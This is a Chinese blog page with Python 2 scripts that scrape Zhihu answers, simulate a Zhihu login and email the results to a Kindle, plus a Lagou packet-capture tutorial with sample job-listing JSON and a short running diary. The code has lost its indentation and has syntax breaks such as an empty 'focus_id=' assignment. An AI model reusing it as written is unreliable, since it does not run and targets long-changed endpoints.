answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle





 # -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()
 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
  查看全部
平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle


11.PNG



kindle.JPG
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名,因为文件名不能有一些特殊符号,所以使用正则表达式过滤掉

self.save2file(filename, title.string)


detail = bs.find("div", class_="zm-editable-content")

self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容

if detail is not None:

for i in detail.strings:
self.save2file(filename, unicode(i))

answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:

self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)

for a in each_answer.strings:
# 循环获取每一个答案的内容,然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1

smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'

# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)

# 调用发送邮件函数,把电子书发送到你的kindle用户的邮箱账号,这样你的kindle就可以收到电子书啦
print filename


class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail

# 初始化邮箱设置

def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码,当时调试了挺久的,因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)

self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()


if __name__ == "__main__":

sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574


# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)

# 调用获取函数

print "Done"





 
#######################################
2016.8.19 更新
添加了新功能,模拟知乎登陆,自动获取自己关注的答案,制作成电子书并且发送到kindle

知乎.PNG

 
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}

#全局变量
session=requests.session()

session.cookies=cookielib.LWPCookieJar(filename="cookies")

try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"

def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False

def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result

def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'

image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()


def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status

if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code

if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False

def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)

url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)

data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段,不然会返回403 的错误,这个在抓包的过程中一直都没有看到提交到xsrf,所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)

for j in id_sub:
print j
id_list.append(j)

except:
print "Getting Error "


return id_list

def main():

if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)

#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录

if not os.path.exists(sub_folder):
os.mkdir(sub_folder)

os.chdir(sub_folder)

main()

 
 完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
 

Linux下如何解压tbz2后缀的压缩文件

回复

默认分类低调的哥哥 回复了问题 • 0 人关注 • 1 个回复 • 9463 次浏览 • 2016-05-11 18:33 • 来自相关话题

毕业不久小两口如何买房?

回复

30天新尝试匿名用户 回复了问题 • 0 人关注 • 1 个回复 • 2306 次浏览 • 2016-05-11 12:29 • 来自相关话题

如何高效地利用时间 -- 在高盛工作8年的学姐

30天新尝试低调的哥哥 发表了文章 • 0 个评论 • 1705 次浏览 • 2016-05-10 23:15 • 来自相关话题

 
image001.jpg

 

晨跑30分钟 30天

默认分类低调的哥哥 发表了文章 • 0 个评论 • 2073 次浏览 • 2016-05-09 21:54 • 来自相关话题

曾经,哦不,是一直到现在,我几乎没有在6点前起过床。然后每天却在叫嚷,时间不够用呀,然后就是熬夜晚睡。虽然知道熬夜等于慢性自杀,可是,和很多人一样,道理都懂,却总是无法彻底执行,每次脑子的两个小人,恶魔总是轻而易举地战胜了天使。 而养成一个习惯,至少要30天。



说实话,我本子记录的计划多的不胜枚举,可是真正被窝执行的却寥寥无几。包括标题的这个,6点起床,晨跑30分钟。 只不过,这一次把笔记本上的记录搬上自己的网站啦。 我不想在众目睽睽之下失信。 我觉得这样会让我执行计划的时候更加坚决。


早起去跑步的好处是:

晨跑能迫使人早起。 是的,正常的话我要睡到8点,早起跑完步还可以多出一个半小时来做其他事情。

晨跑能够提高人整天的代谢水平,从而是全天的能量消耗达到一个较高值,对减肥来说是很有益的。简单来说,晨跑30分钟全天的总代谢就能上升一个台阶,这个比以同样速度夜跑30分钟要有效的多。

晨跑能让人从一夜的睡眠中清醒过来并维持全天的良好身体状态。

晨跑能迅速提升人体的循环,排出一夜睡眠后积累在体内的代谢废物。跑过晨跑后,代谢废物的排出要比不跑快很多。



看完上面那几条,你是不是也心动想要一起行动呢? 是的话赶紧加入吧。 和我比比,看谁坚持的时间长哦~ 查看全部
曾经,哦不,是一直到现在,我几乎没有在6点前起过床。然后每天却在叫嚷,时间不够用呀,然后就是熬夜晚睡。虽然知道熬夜等于慢性自杀,可是,和很多人一样,道理都懂,却总是无法彻底执行,每次脑子的两个小人,恶魔总是轻而易举地战胜了天使。 而养成一个习惯,至少要30天。



说实话,我本子记录的计划多的不胜枚举,可是真正被窝执行的却寥寥无几。包括标题的这个,6点起床,晨跑30分钟。 只不过,这一次把笔记本上的记录搬上自己的网站啦。 我不想在众目睽睽之下失信。 我觉得这样会让我执行计划的时候更加坚决。


早起去跑步的好处是:

晨跑能迫使人早起。 是的,正常的话我要睡到8点,早起跑完步还可以多出一个半小时来做其他事情。

晨跑能够提高人整天的代谢水平,从而是全天的能量消耗达到一个较高值,对减肥来说是很有益的。简单来说,晨跑30分钟全天的总代谢就能上升一个台阶,这个比以同样速度夜跑30分钟要有效的多。

晨跑能让人从一夜的睡眠中清醒过来并维持全天的良好身体状态。

晨跑能迅速提升人体的循环,排出一夜睡眠后积累在体内的代谢废物。跑过晨跑后,代谢废物的排出要比不跑快很多。



看完上面那几条,你是不是也心动想要一起行动呢? 是的话赶紧加入吧。 和我比比,看谁坚持的时间长哦~

Firefox抓包分析 (拉勾网抓包分析)

python爬虫低调的哥哥 发表了文章 • 16 个评论 • 16704 次浏览 • 2016-05-09 18:30 • 来自相关话题

针对一些JS网页,动态网页在源码中无法看到它的内容,可以通过抓包分析出其JSON格式的数据。 网页通过通过这些JSON数据对网页的内容进行填充,然后就看到网页里显示相关的内容了。
 
使用过chrome,firefox,wireshark来抓过包,比较方便的是chrome,不需要安装第三方的其它插件,不过打开新页面的时候又要重新开一个捕捉页面,会错过一些实时的数据。 
 
wireshark需要专门掌握它自己的过滤规则,学习成本摆在那里。 
 
最好用的还是firefox+firebug第三方插件。
 
接下来以拉勾网为例。
 
打开firebug功能
 
www.lagou.com 在左侧栏随便点击一个岗位,以android为例 
 





 
在firebug中,需要点击“网络”选项卡,然后选择XHR。
 





 
Post的信息就是我们需要关注的,点击post的链接
 





 
点击了Android之后 我们从浏览器上传了几个参数到拉勾的服务器
一个是 first =true, 一个是kd = android, (关键字) 一个是pn =1 (page number 页码)
 
所以我们就可以模仿这一个步骤来构造一个数据包来模拟用户的点击动作。post_data = {'first':'true','kd':'Android','pn':'1'}
然后使用python中库中最简单的requests库来提交数据。 而这些数据 正是抓包里看到的数据。import requests

url = "http://www.lagou.com/jobs/posi ... ot%3B
return_data=requests.post(url,data=post_data)
print return_data.text

呐,打印出来的数据就是返回来的json数据{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术爆棚!","industryField":"移动互联网 · 企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队,丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金,行业内有竞争力的薪资水平","industryField":"移动互联网 · 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13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦!","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 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O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 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23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚(Dingtone)","positionAdvantage":"每半年调整薪资,今年上市!","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥(Steve 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09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo,追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 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09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 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文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}












在XHR中点击JSON,就可以看到浏览器返回来的数据了。 是不是跟上面使用python程序抓取的一样呢?
 





 
是不是很简单?
 
如果想获得第2页,第3页的数据呢?
 
只需要修改pn=x 中的值就可以了。post_data = {'first':'true','kd':'Android','pn':'2'} #获取第2页的内容
